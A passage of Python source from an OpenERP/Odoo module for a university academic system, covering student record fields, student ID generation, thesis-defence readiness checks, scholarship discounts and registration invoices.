self.pool.get('master.fakultas').browse(cr,uid,fak,context=context).kode\n\n\t\t\t\t\t\tpro = vals['prodi_id']\n\t\t\t\t\t\tpro_id = self.pool.get('master.prodi').browse(cr,uid,pro,context=context).kode\n\n\t\t\t\t\t\tsequence = self.pool.get('ir.sequence').get(cr, uid, 'seq.npm.partner') or '/'\n\n\t\t\t\t\t\tvals['npm'] = ta_id+fak_id+pro_id+sequence\n\t\t\t\t\t\tpartner = super(res_partner, self).create(cr, uid, vals, context=context)\n\t\t\t\telse :\n\t\t\t\t\tpartner = super(res_partner, self).create(cr, uid, vals, context=context)\t\n\t\t\telif vals['status_mahasiswa'] == 'alumni':\n\t\t\t\tif 'is_import' not in vals:\n\t\t\t\t\traise osv.except_osv(_('Error!'), _('Data alumni harus dibuat dari data mahasiswa'))\n\t\t\t\tpartner = super(res_partner, self).create(cr, uid, vals, context=context)\t\t\n\t\t\telse:\n\t\t\t\tpartner = super(res_partner, self).create(cr, uid, vals, context=context)\n\t\telse:\n\t\t\tpartner = super(res_partner, self).create(cr, uid, vals, context=context)\t\t\n\t\treturn partner\n\n\tdef _calc_age(self, cr, uid, ids, name, arg, context=None):\n\t\t''' Fungsi otomatis utk menghitung usia'''\n\t\tres = {}\n\t\tfor mhs in self.browse(cr, uid, ids, context=context):\n\t\t\tstart = datetime.strptime(time.strftime(DEFAULT_SERVER_DATE_FORMAT), DEFAULT_SERVER_DATE_FORMAT)\n\t\t\tif mhs.tanggal_lahir:\n\t\t\t\tstart = datetime.strptime(mhs.tanggal_lahir, DEFAULT_SERVER_DATE_FORMAT)\n\t\t\tend = datetime.strptime(time.strftime(DEFAULT_SERVER_DATE_FORMAT), DEFAULT_SERVER_DATE_FORMAT)\n\t\t\tdelta = end - start\n\t\t\tyears = (delta.days / 365)\n\t\t\tres[mhs.id] = years\n\t\treturn res\t\t\n\n\t\t#jika penggambilan MK di KRS berdasarkan yang terbaru\n\tdef get_ttl_mk_by_newest(self, cr, uid, ids, context=None):\n\t\t\n\t\tops_obj = self.pool.get('operasional.krs')\n\t\tdet_obj = self.pool.get('operasional.krs_detail')\n\t\n\t\tcr.execute(\"\"\"SELECT okd.id AS id, okd.mata_kuliah_id AS mk, okd.nilai_angka AS nilai\n\t\t\t\t\t\tFROM operasional_krs ok\n\t\t\t\t\t\tLEFT JOIN operasional_krs_detail okd ON ok.id = okd.krs_id\n\t\t\t\t\t\tLEFT JOIN master_semester s ON s.id = ok.semester_id\n\t\t\t\t\t\tWHERE ok.state = 'done' AND ok.partner_id =\"\"\"+ str(ids[0]) +\"\"\"\n\t\t\t\t\t\tGROUP BY okd.id,s.name\n\t\t\t\t\t\tORDER BY okd.mata_kuliah_id, s.name DESC\"\"\")\t\t \n\t\tmk = cr.fetchall()\t\t\t\n\n\t\tif mk == []:\n\t\t\tmk=0\n\t\t\treturn mk\n\t\tid_mk = []\t#id khsdetail\n\t\tmk_ids = [] #Matakuliah khsdetail\n\n\t\tfor m in mk:\n\t\t\t##################################\n\t\t\t# m[0] = operasional_krs_detail id\n\t\t\t# m[1] = matakuliah_id\n\t\t\t# m[2] = nilai angka\n\t\t\t##################################\n\t\t\tif m[1] not in mk_ids:\n\t\t\t\tif m[2] > 0 :\n\t\t\t\t\tid_mk.append(m[0])\n\t\t\t\t\tmk_ids.append(m[1])\n\n\t\tjml_id_mk = len(mk_ids)\n\n\t\treturn {}#jml_id_mk\n\n\t\t#jika penggambilan MK di KRS berdasarkan yang terbaik\n\tdef get_ttl_mk_by_better(self, cr, uid, ids, context=None):\n\t\t\n\t\tops_obj = self.pool.get('operasional.krs')\n\t\tdet_obj = self.pool.get('operasional.krs_detail')\n\t\n\t\tcr.execute(\"\"\"SELECT okd.id AS id, okd.mata_kuliah_id AS mk,okd.nilai_angka AS nilai\n\t\t\t\t\t\tFROM operasional_krs ok\n\t\t\t\t\t\tLEFT JOIN operasional_krs_detail okd ON ok.id = okd.krs_id\n\t\t\t\t\t\tLEFT JOIN master_semester s ON s.id = ok.semester_id\n\t\t\t\t\t\tWHERE ok.state = 'done' AND ok.partner_id =\"\"\"+ str(ids[0]) +\"\"\"\n\t\t\t\t\t\tGROUP BY okd.id,s.name\n\t\t\t\t\t\tORDER BY okd.mata_kuliah_id, okd.nilai_angka DESC\"\"\")\t\t \n\t\tmk = cr.fetchall()\t\t\t\n\n\t\tif mk == []:\n\t\t\tmk = 0\n\t\t\treturn mk\n\t\tid_mk = []\t#id khsdetail\n\t\tmk_ids = [] #Matakuliah khsdetail\n\n\t\tfor m in mk:\n\t\t\t##################################\n\t\t\t# m[0] = operasional_krs_detail id\n\t\t\t# m[1] = matakuliah_id\n\t\t\t# m[2] = nilai angka\n\t\t\t##################################\n\t\t\tif m[1] not in mk_ids:\n\t\t\t\tif m[2] > 0 :\n\t\t\t\t\tid_mk.append(m[0])\n\t\t\t\t\tmk_ids.append(m[1])\n\n\t\tjml_id_mk = len(mk_ids)\n\n\t\treturn {}#jml_id_mk\n\n\tdef _get_sidang_ready(self, cr, uid, ids, field_name, arg, context=None):\n\t\tresults = {}\n\n\t\tfor siap_sidang in self.browse(cr, uid, ids, context=context):\n\t\t\tif not siap_sidang.is_import :\n\t\t\t\tif siap_sidang.tahun_ajaran_id.id != False:\n\t\t\t\t\ttahun_ajaran = siap_sidang.tahun_ajaran_id.id\n\t\t\t\t\tfakultas \t= siap_sidang.fakultas_id.id\n\t\t\t\t\tprodi \t\t= siap_sidang.prodi_id.id\n\t\t\t\t\t# cari jumlah kurikulum untuk thn akademik ini sesuai dengan settingan master kurikulum\n\t\t\t\t\tkurikulum_obj = self.pool.get('master.kurikulum')\n\t\t\t\t\tth_kurikulum = kurikulum_obj.search(cr,uid,[('tahun_ajaran_id','=',tahun_ajaran),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t('fakultas_id','=',fakultas),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t('prodi_id','=',prodi),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t('state','=','confirm')])\n\t\t\t\t\ttotal_kurikulum = len(th_kurikulum)\n\n\t\t\t\t\t# hitung jumlah kurikulum untuk thn akademik dan mahasiswa yg bersangkutan, harus sama dg jumlah yg ada di kurikulum\n\t\t\t\t\tkhs_obj = self.pool.get('operasional.krs')\n\t\t\t\t\tth_khs = khs_obj.search(cr,uid,[('partner_id','=',siap_sidang.id),('tahun_ajaran_id','=',tahun_ajaran),('state','=','done')])\n\t\t\t\t\ttotal_khs = len(th_khs)\n\t\t\t\t\t\n\t\t\t\t\tresults[siap_sidang.id] = False\n\t\t\t\t\tif total_khs >= total_kurikulum :\n\t\t\t\t\t\t#cek juga total mk di kurikulum harus sama dengan mk yg sudah ditempuh\n\t\t\t\t\t\ttahun_ajaran_id = self.browse(cr,uid,ids[0]).tahun_ajaran_id.id\n\t\t\t\t\t\tprodi_id = self.browse(cr,uid,ids[0]).prodi_id.id\n\t\t\t\t\t\tif tahun_ajaran_id and prodi_id:\n\t\t\t\t\t\t\tcr.execute(\"\"\"SELECT kmr.matakuliah_id kmr\n\t\t\t\t\t\t\t\t\t\t\tFROM kurikulum_mahasiswa_rel kmr\n\t\t\t\t\t\t\t\t\t\t\tLEFT JOIN master_matakuliah mm ON mm.id = kmr.matakuliah_id\n\t\t\t\t\t\t\t\t\t\t\tLEFT JOIN master_kurikulum mk ON kmr.kurikulum_id = mk.id \n\t\t\t\t\t\t\t\t\t\t\tWHERE mk.tahun_ajaran_id =\"\"\"+ str(tahun_ajaran_id) +\"\"\" \n\t\t\t\t\t\t\t\t\t\t\tAND mk.prodi_id = \"\"\"+ str(prodi_id) +\"\"\"\n\t\t\t\t\t\t\t\t\t\t\tAND mk.state = 'confirm'\"\"\")\t\t \n\t\t\t\t\t\t\tmk_klm = cr.fetchall()\t\t\t\n\t\t\t\t\t\t\tif mk_klm != []:\n\n\t\t\t\t\t\t\t\tif self.browse(cr,uid,ids[0]).tahun_ajaran_id.mekanisme_nilai == 'terbaru' :\n\t\t\t\t\t\t\t\t\tmk = self.get_ttl_mk_by_newest(cr, uid, ids, context=None)\n\t\t\t\t\t\t\t\telif self.browse(cr,uid,ids[0]).tahun_ajaran_id.mekanisme_nilai == 'terbaik' :\n\t\t\t\t\t\t\t\t\tmk = self.get_ttl_mk_by_better(cr, uid, ids, context=None)\t\n\n\t\t\t\t\t\t\t\tif mk > 0 :\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tmk_ids = []\n\t\t\t\t\t\t\t\t\tfor m in mk_klm:\n\t\t\t\t\t\t\t\t\t\tif m[0] not in mk_ids:\n\t\t\t\t\t\t\t\t\t\t\tmk_ids.append(m[0])\t\t\n\t\t\t\t\t\t\t\t\ttot_kurikulum = len(mk_ids)\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\ttoleransi_mk = self.browse(cr,uid,ids[0]).tahun_ajaran_id.max_mk\n\t\t\t\t\t\t\t\t\t#jika total mk yg telah ditempuh sama dengan / lebih dari yg ada di kurikulum\n\t\t\t\t\t\t\t\t\tif mk >= (tot_kurikulum-toleransi_mk):\n\t\t\t\t\t\t\t\t\t\tresults[siap_sidang.id] = True\n\t\t\telse : \t\t\t\t\t\t\t\n\t\t\t\tresults[siap_sidang.id] = True\n\t\treturn results\n\n\t_columns = {\n\t\t#Mahasiswa\n\t\t'npm' :fields.char(string='NIM',size=34),\n\t\t'reg': fields.char('No. Pendaftaran',readonly=True,size=34),\n\t\t'no_alumni': fields.char('No. Alumni', size=34),\n\t\t'street':fields.text('Alamat Rumah'),\n\t\t# 'nama_tengah':fields.char('Nama Tengah',size=60),\n\t\t# 'nama_belakang':fields.char('Nama Tengah',size=60),\n\t\t'jenis_kelamin':fields.selection([('L','Laki-Laki'),('P','Perempuan')],'Jenis Kelamin'),\n\t\t'tempat_lahir':fields.char('Tempat Lahir'),\n\t\t'tanggal_lahir':fields.date('Tanggal Lahir'),\n\n\t\t'status_mahasiswa':fields.selection(SESSION_STATES,'Status Mhs'), \n\n\t\t'fakultas_id':fields.many2one('master.fakultas',string='Fakultas', domain=[('is_internal','=',True)]),\n\t\t# 'jurusan_id':fields.many2one('master.jurusan',string='Program Studi',domain=\"[('fakultas_id','=',fakultas_id)]\"),\n\t\t'prodi_id':fields.many2one('master.prodi',string='Program Studi',domain=\"[('fakultas_id','=',fakultas_id),('is_internal','=',True)]\"),\n\t\t'tahun_ajaran_id':fields.many2one('academic.year',string='Tahun Akademik'),\n\t\t'semester_id':fields.many2one('master.semester',string='Semester Awal Masuk'),\n\t\t'kelas_id':fields.many2one('master.kelas',string='Kelas',readonly=True), \n\n\t\t#'peserta_kelas_id':fields.many2one('master.peserta_kelas',string='Mahasiswa',),\n\t\t'is_import': fields.boolean('Import'),\n\t\t'ipk':fields.float('IPK',digits=(2,2)),\n\t\t'judul':fields.text('Judul Tugas Akhir'),\n\t\t'wisuda':fields.date('Tanggal Wisuda'),\n\t\t'lokasi_wisuda':fields.char('Tempat Wisuda',size=128,readonly=True),\n\t\t'tgl_lulus':fields.date('Tanggal Lulus'),\n\t\t'siap_sidang' : fields.function(_get_sidang_ready,type='boolean',string='Siap Sidang',readonly=True),\n\t\t'tgl_sidang':fields.date('Tanggal Sidang'),\n\t\t'nilai_sidang_huruf':fields.char('Nilai Sidang (Huruf)',size=3),\n\t\t'nilai_sidang_angka':fields.float('Nilai Sidang (Angka)',digits=(2,2)),\n\t\t'jml_praktikum': fields.float('Jumlah Praktikum'),\n\t\t'jml_mk_pilihan': fields.float('Jumlah MK Pilihan'),\n\t\t'jml_nilai_d': fields.float('Jumlah Nilai D (%)'),\n\t\t'jml_sks_komultif': fields.float('Jumlah SKS Komulatif'),\n\n\t\t'no_formulir':fields.char('No Formulir Ujian'),\n\t\t'tgl_ujian':fields.date('Tanggal Ujian'),\n\t\t'nilai_ujian':fields.float('Nilai Ujian'),\n\t\t'nilai_ujian_asli':fields.float('Nilai Ujian Asli'),\n\t\t'batas_nilai':fields.float('Batas Nilai Kelulusan',readonly=True),\n\t\t'is_dosen':fields.boolean('Dosen ?'),\n\t\t'biodata_keluarga_ids':fields.one2many('master.biodata_keluarga','partner_id','Biodata Keluarga', ondelete='cascade',),\n\t\t'riwayat_pendidikan_ids':fields.one2many('master.riwayat_pendidikan','partner_id','Riwayat Pendidikan',ondelete='cascade',),\n\t\t'pelanggaran_ids':fields.one2many('master.pelanggaran','partner_id','Pelanggaran', ondelete='cascade',),\n\t\t'pekerjaan_ids':fields.one2many('master.history.pekerjaan','partner_id','History Pekerjaan', ondelete='cascade',),\n\t\t#'jadwal_ids':fields.one2many('master.jadwal.kuliah','partner_id','Jadwal Mengajar',),\n\t\t'nidn':fields.char('NIDN'),\n\t\t'status_dosen':fields.selection([('tetap','Tetap'),('tidak_tetap','Tidak Tetap')],'Status Dosen'),\n\t\t#'state': fields.selection([('draft','Calon Mahasiswa'),('on_progress','Mahasiswa'),('done','Alumni')],'Status Mahasiswa'),\n\t\t'age':fields.function(_calc_age, method=True, required=True, string='Usia (Tahun)', readonly=True, type=\"integer\"),\n\t\t'status_pernikahan':fields.selection([('belum','Belum Menikah'),('menikah','Menikah'),('janda','Janda'),('duda','Duda')],'Status Pernikahan'),\n\t\t'agama':fields.selection([('islam','Islam'),('kristen','Kristen'),('hindu','Hindu'),('budha','Budha'),('kepercayaan','Kepercayaan')],'Agama'),\n\t\t'tgl_daftar':fields.date('Tanggal Daftar',),\n\n\t\t'is_mahasiswa' : fields.boolean('Is Mahasiswa'),\n\t\t'nilai_beasiswa':fields.float('Rata-Rata Nilai SMA/Sederajat'),\n\t\t'is_beasiswa' : fields.boolean('Penerima Beasiswa USM',readonly=True),\n\t\t'jadwal_usm_id': fields.many2one('jadwal.usm', 'Jadwal USM'),\n\t\t'keluarga_alumni_id': fields.many2one('res.partner','Keluarga Alumni',domain=[('status_mahasiswa','=','alumni')]),\n\t\t'marketing_id': fields.many2one('master.marketing','Marketing'),\n\t\t'jenis_pendaftaran_id': fields.many2one('akademik.jenis_pendaftaran', 'Jenis Pendaftaran'),\n\t\t'no_ijazah_sma'\t\t: fields.char('No. Ijazah SMA/Sederajat'),\n\t\t'status_aktivitas': fields.selection([('A','A'),('N','N'),('K','K'),('L','L'),('C','C'),('D','D')],'Status Aktivitas',required=True),\n\n\t\t#untuk mhs pindahan\n\t\t'asal_univ_id' \t\t: fields.many2one('res.partner', 'Asal PT', domain=[('category_id','ilike','external')]),\n\t\t'asal_univ'\t\t\t: fields.char('Asal PT',readonly=True),\n\t\t'asal_fakultas_id' \t: fields.many2one('master.fakultas', 'Asal Fakultas', domain=\"[('pt_id','=',asal_univ_id),('is_internal','=',False)]\"),\n\t\t'asal_fakultas'\t\t: fields.char('Asal Fakultas',readonly=True),\n\t\t'asal_prodi_id' \t: fields.many2one('master.prodi', 'Asal Prodi', domain=\"[('fakultas_id','=',asal_fakultas_id),('is_internal','=',False)]\"),\n\t\t'asal_prodi'\t\t: fields.char('Asal Prodi',readonly=True),\n\t\t'asal_alamat_univ' \t: fields.char('Asal Alamat PT',readonly=True),\n\t\t'asal_website_univ'\t: fields.char('Asal Website PT',readonly=True),\n\t\t'asal_npm'\t\t\t: fields.char('Asal NIM'),\n\t\t'asal_sks_diakui' \t: fields.integer('SKS Diakui'),\n\t\t'asal_jenjang_id' \t: fields.many2one('master.jenjang', 'Asal Jenjang'),\n\t\t'semester_id'\t\t: fields.many2one('master.semester','Semester '),\n\n\t\t# flag jika pernah kuliah di kampus yg sama (alumni)\n\t\t'is_alumni'\t\t\t: fields.boolean('Alumni'),\n\n\t\t# split invoice\n\t\t'split_invoice' : fields.integer('Angsuran',help=\"jika di isi angka positif maka invoice yg digenerate dari KRS atas mahasiswa ini akan tersplit sesuai angka yang diisi\", size=1),\n\t\t'alamat_id'\t: fields.many2one('master.alamat.kampus','Lokasi Kampus'),\n\t\t'type_pendaftaran': fields.selection([('ganjil','Ganjil'),('genap','Genap'),('pendek','Pendek')],'Type Pendaftaran'),\n\n\t\t'invoice_id' : fields.many2one('account.invoice','Uang Pendaftaran'),\n\t\t'invoice_state' : fields.related('invoice_id','state',type='char',relation='account.invoice',string='Pembayaran Pendaftaran',readonly=True),\n\t\t'invoice_bangunan_id' : fields.many2one('account.invoice','Uang Pengembangan',readonly=True),\n\t\t'invoice_bangunan_state' : fields.related('invoice_bangunan_id','state',type='char',relation='account.invoice',string='Pembayaran UP'),\n\n\t\t'karyawan_id'\t: fields.many2one('hr.employee','Karyawan'),\n\t\t'type_mhs_id'\t: fields.many2one('master.type.mahasiswa','Type Mahasiswa'),\n\t\t'konsentrasi_id': fields.many2one('master.konsentrasi','Konsentrasi'),\n\t\t'no_ijazah'\t\t: fields.char('No. Ijazah'),\n\t\t'tgl_sk_dekan' \t: fields.date('Tgl. SK Dekan'),\n\t\t'no_sk_dekan'\t: fields.char('No. SK Dekan'),\n\t\t'no_transkrip'\t: fields.char('No. Transkrip'),\n\t\t'yudisium_id' \t: fields.many2one('master.yudisium','Yudisium'),\n\t\t'id_card'\t\t: fields.char('No. KTP/SIM'),\n\t\t'jadwal_pagi'\t: fields.boolean('Pagi'),\n\t\t'jadwal_siang'\t: fields.boolean('Siang'),\n\t\t'jadwal_malam'\t: fields.boolean('Malam'),\n\t\t'jalur_masuk'\t: fields.selection([('perorangan','Perorangan'),('group','Group'),('prestasi','Jalur Prestasi')],'Jalur Masuk'),\n\n\t\t# pemberi rekomendasi\n\t\t'rekomendasi'\t: fields.char('Rekomendasi'),\n\t\t'telp_rekomendasi' : fields.char('Telp. Rekomendasi'),\n\n\t\t# flag her registration online\n\t\t'reg_online'\t: fields.boolean('Registrasi Ulang'),\n\n\t\t#flag pembeda user\n\t\t'partner_type'\t: fields.selection([('mahasiswa','mahasiswa'),\n\t\t\t\t\t\t\t\t\t\t\t('ortu','Orang Tua'),\n\t\t\t\t\t\t\t\t\t\t\t('dosen','Dosen'),\n\t\t\t\t\t\t\t\t\t\t\t('sales','Sales'),\n\t\t\t\t\t\t\t\t\t\t\t('pegawai','Pegawai')],string='Type Partner'),\n\t\t# beasiswa dari front_end\n\t\t'semester1'\t\t: fields.float('Semester 1'),\n\t\t'semester2'\t\t: fields.float('Semester 2'),\n\t\t'semester3'\t\t: fields.float('Semester 3'),\n\t\t'semester4'\t\t: fields.float('Semester 4'),\n\t\t'semester5'\t\t: fields.float('Semester 5'),\n\t\t'un'\t\t\t: fields.float('UN'),\n\t\t'hubungan' \t\t: fields.selection([('umum','Umum'),('ortu','Orang Tua Alumni ISTN'),('cikini','Lulusan SLTA Perguruan Cikini'),('karyawan','Karyawan Tetap (Masih Aktif) ISTN')],'Hubungan Dengan ISTN'),\n\t\t'ranking'\t\t: fields.integer('Ranking'),\n\n\t\t}\n\n\t_sql_constraints = [('reg_uniq', 'unique(reg)','No. pendaftaran tidak boleh sama')]\n\t_sql_constraints = [('npm_uniq', 'unique(npm)','NPM tidak boleh sama')]\n\n\n\tdef add_discount_sequence_bangunan(self, cr, uid, ids ,disc,inv_line,bea_line_obj,partner,jml_inv,inv_ids, context=None):\n\t\tdisc_ids = map(lambda x: x[0], disc)\n\t\tfor bea_line in bea_line_obj.browse(cr,uid,disc_ids):\n\t\t\tdisc_code \t= bea_line.code\n\t\t\tdisc_id \t= bea_line.product_id.id\n\t\t\tdisc_name \t= bea_line.name\n\t\t\tdisc_nilai \t= bea_line.limit_nilai\n\t\t\tdisc_nilai_max \t= bea_line.limit_nilai_max\n\t\t\tdisc_amount\t= bea_line.amount/int(jml_inv)\n\t\t\tdisc_coa \t= bea_line.product_id.property_account_income.id\n\t\t\t#import pdb;pdb.set_trace()\n\t\t\tif not disc_coa:\n\t\t\t\tdisc_coa = bea_line.product_id.categ_id.property_account_income_categ.id\t\n\t\t\tif bea_line.uang_bangunan:\n\t\t\t\tif disc_code == '0':\n\t\t\t\t\tif partner.nilai_beasiswa >= disc_nilai: \n\t\t\t\t\t\tfor inv in inv_ids:\t\n\t\t\t\t\t\t\tinv_line.create(cr,uid,{'invoice_id': inv,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'product_id': disc_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'name'\t\t: disc_name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'quantity'\t: 1 ,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'price_unit': disc_amount,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'account_id': disc_coa},context=context)\n\t\t\t\t\t\tbreak\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\n\t\t\t\telif disc_code == '1':\n\t\t\t\t\tif partner.keluarga_alumni_id: \n\t\t\t\t\t\tfor inv in inv_ids:\t\n\t\t\t\t\t\t\tinv_line.create(cr,uid,{'invoice_id': inv,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'product_id': disc_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'name'\t\t: disc_name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'quantity'\t: 1 ,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'price_unit': disc_amount,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'account_id': disc_coa},context=context)\n\t\t\t\t\t\tbreak\t\t\t\t\t\t\n\t\t\t\telif disc_code == '2':\n\t\t\t\t\tfor inv in inv_ids:\t\n\t\t\t\t\t\tinv_line.create(cr,uid,{'invoice_id': inv,\n\t\t\t\t\t\t\t\t\t\t\t\t'product_id': disc_id,\n\t\t\t\t\t\t\t\t\t\t\t\t'name'\t\t: disc_name,\n\t\t\t\t\t\t\t\t\t\t\t\t'quantity'\t: 1 ,\n\t\t\t\t\t\t\t\t\t\t\t\t'price_unit': disc_amount,\n\t\t\t\t\t\t\t\t\t\t\t\t'account_id': disc_coa},context=context)\n\t\t\t\t\tbreak\t\n\t\t\t\telif disc_code == '3':\n\t\t\t\t\tif partner.karyawan_id: \n\t\t\t\t\t\tfor inv in inv_ids:\t\n\t\t\t\t\t\t\tinv_line.create(cr,uid,{'invoice_id': inv,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'product_id': disc_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'name'\t\t: disc_name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'quantity'\t: 1 ,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'price_unit': disc_amount,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'account_id': disc_coa},context=context)\n\t\t\t\t\t\tbreak\t\n\t\t\t\t# \t\t\n\t\t\t\t# elif disc_code == '4':\n\t\t\t\t# \tkrs_sebelumnya = self.search(cr,uid,[('partner_id','=',partner.id),('semester_id','=',semester.id-1)])\n\t\t\t\t# \tif krs_sebelumnya:\n\t\t\t\t# \t\tif self.browse(cr,uid,krs_sebelumnya[0]).ips_field_persemester >= disc_nilai :\n\t\t\t\t# \t\t\tfor inv in inv_ids:\t\n\t\t\t\t# \t\t\t\tinv_line.create(cr,uid,{'invoice_id': inv,\n\t\t\t\t# \t\t\t\t\t\t\t\t\t\t'product_id': disc_id,\n\t\t\t\t# \t\t\t\t\t\t\t\t\t\t'name'\t\t: disc_name,\n\t\t\t\t# \t\t\t\t\t\t\t\t\t\t'quantity'\t: 1 ,\n\t\t\t\t# \t\t\t\t\t\t\t\t\t\t'price_unit': disc_amount,\n\t\t\t\t# \t\t\t\t\t\t\t\t\t\t'account_id': disc_coa},context=context)\n\n\t\t\t\telif disc_code == '5':\n\t\t\t\t\tif partner.riwayat_pendidikan_ids:\n\t\t\t\t\t\tranking = 0\n\t\t\t\t\t\tfor pend in partner.riwayat_pendidikan_ids:\n\t\t\t\t\t\t\tif pend.satu_yayasan :\n\t\t\t\t\t\t\t\tranking = pend.ranking\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tif ranking > 0 :\t\t\n\t\t\t\t\t\t\tif ranking >= disc_nilai and ranking <= disc_nilai_max:\n\t\t\t\t\t\t\t\tfor inv in inv_ids:\t\n\t\t\t\t\t\t\t\t\tinv_line.create(cr,uid,{'invoice_id': inv,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'product_id': disc_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'name'\t\t: disc_name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'quantity'\t: 1 ,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'price_unit': disc_amount,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'account_id': disc_coa},context=context)\n\t\t\t\t\t\t\t\tbreak\n\t\treturn True\n\n\tdef add_discount_bangunan(self, cr, uid, ids ,partner, inv_id, context=None):\n\t\ttahun_ajaran \t= partner.tahun_ajaran_id\n\t\tfakultas \t\t= partner.fakultas_id\n\t\tprodi \t\t\t= partner.prodi_id \n\t\tjml_inv \t\t= partner.split_invoice\n\t\tbea_obj \t\t= self.pool.get('beasiswa.prodi')\n\t\tdata_bea \t\t= bea_obj.search(cr,uid,[('is_active','=',True),\n\t\t\t\t\t\t\t\t\t\t\t('tahun_ajaran_id','=',tahun_ajaran.id),\n\t\t\t\t\t\t\t\t\t\t\t('fakultas_id','=',fakultas.id),\n\t\t\t\t\t\t\t\t\t\t\t('prodi_id','=',prodi.id),],context=context)\n\t\tif data_bea :\n\t\t\tinv_line = self.pool.get('account.invoice.line')\n\t\t\tbea_line_obj = self.pool.get('beasiswa.prodi.detail')\t\n\n\t\t\t#########################################################\n\t\t\t# cari dan hitung disc yg memerlukan sequence\n\t\t\t#########################################################\n\t\t\tcr.execute(\"\"\"SELECT id\n\t\t\t\t\t\t\tFROM beasiswa_prodi_detail\n\t\t\t\t\t\t\tWHERE sequence >= 0\n\t\t\t\t\t\t\tAND beasiswa_prodi_id = %s\n\t\t\t\t\t\t\tAND uang_bangunan = True\n\t\t\t\t\t\t\tORDER BY sequence ASC \"\"\"%(data_bea[0]))\n\t\t\tdisc_seq = cr.fetchall()\n\t\t\tif disc_seq :\t\t\t\t\n\t\t\t\tself.add_discount_sequence_bangunan(cr, uid, ids ,disc_seq,inv_line,bea_line_obj,partner,jml_inv,inv_id, context=context)\n\n\n\t\t\t#########################################################\n\t\t\t# cari dan hitung disc yg tidak memerlukan sequence\n\t\t\t#########################################################\n\t\t\tcr.execute(\"\"\"SELECT id\n\t\t\t\t\t\t\tFROM beasiswa_prodi_detail\n\t\t\t\t\t\t\tWHERE sequence < 0\n\t\t\t\t\t\t\tAND beasiswa_prodi_id = %s\n\t\t\t\t\t\t\tAND uang_bangunan = True\n\t\t\t\t\t\t\tORDER BY sequence ASC \"\"\"%(data_bea[0]))\n\t\t\tdisc_non_seq = cr.fetchall()\n\t\t\tif disc_non_seq :\n\t\t\t\tself.add_discount_sequence_bangunan(cr, uid, ids ,disc_non_seq,inv_line,bea_line_obj,partner,jml_inv,inv_id, context=context)\n\n\t\treturn True\n\n\n\tdef create_inv_pendaftaran(self,cr,uid,ids,context=None):\n\t\tbyr_obj = self.pool.get('master.pembayaran.pendaftaran')\n\t\tfor partner in self.browse(cr,uid,ids):\n\t\t\tbyr_sch = byr_obj.search(cr,uid,[('tahun_ajaran_id','=',partner.tahun_ajaran_id.id),\n\t\t\t\t('fakultas_id','=',partner.fakultas_id.id),\n\t\t\t\t('prodi_id','=',partner.prodi_id.id),\n\t\t\t\t('state','=','confirm'),\n\t\t\t\t('type_mhs_id','=',partner.type_mhs_id.id),\n\t\t\t\t])\t\n\t\t\tif not byr_sch:\n\t\t\t\tbyr_sch = byr_obj.search(cr,uid,[('tahun_ajaran_id','=',partner.tahun_ajaran_id.id),\n\t\t\t\t\t('fakultas_id','=',partner.fakultas_id.id),\n\t\t\t\t\t('prodi_id','=',partner.prodi_id.id),\n\t\t\t\t\t('state','=','confirm'),\n\t\t\t\t\t])\t\t\t\t\t\t\n\t\t\tif byr_sch :\n\t\t\t\tbyr_brw = byr_obj.browse(cr,uid,byr_sch[0],context=context)\n\t\t\t\tlist_pembayaran = byr_brw.detail_product_ids\n\t\t\t\tprod_id = []\n\t\t\t\tfor bayar in list_pembayaran:\n\t\t\t\t\t#import pdb;pdb.set_trace()\n\t\t\t\t\tproduct = self.pool.get('product.product').browse(cr,uid,bayar.product_id.id)\n\t\t\t\t\tcoa_line = product.property_account_income.id\n\t\t\t\t\tif not coa_line:\n\t\t\t\t\t\tcoa_line = product.categ_id.property_account_income_categ.id\n\n\t\t\t\t\tprod_id.append((0,0,{'product_id'\t: bayar.product_id.id,\n\t\t\t\t\t\t\t\t\t\t 'name'\t\t\t: bayar.product_id.name,\n\t\t\t\t\t\t\t\t\t\t 'price_unit'\t: bayar.public_price,\n\t\t\t\t\t\t\t\t\t\t 'account_id'\t: coa_line}))\n\t\t\t\tinv = self.pool.get('account.invoice').create(cr,uid,{\n\t\t\t\t\t'partner_id':partner.id,\n\t\t\t\t\t'origin': 'Pendaftaran '+str(partner.reg),\n\t\t\t\t\t'type':'out_invoice',\n\t\t\t\t\t'fakultas_id': partner.fakultas_id.id,\n\t\t\t\t\t'prod_id': partner.prodi_id.id,\n\t\t\t\t\t'account_id':partner.property_account_receivable.id,\n\t\t\t\t\t'invoice_line': prod_id,\n\t\t\t\t\t},context=context)\n\n\t\t\t\t\n\t\t\t\t#wf_service = netsvc.LocalService('workflow')\n\t\t\t\tfrom openerp import workflow\n\t\t\t\tworkflow.trg_validate(uid, 'account.invoice', inv, 'invoice_open', cr)\n\t\t\t\tself.pool.get('account.invoice').invoice_validate(cr, uid, [inv], context=context)\t\t\t\n\t\t\t\tself.write(cr,uid,partner.id,{'invoice_id':inv})\n\t\t\t\t\n\n\n\t\treturn True\t\t\n\n\n\tdef 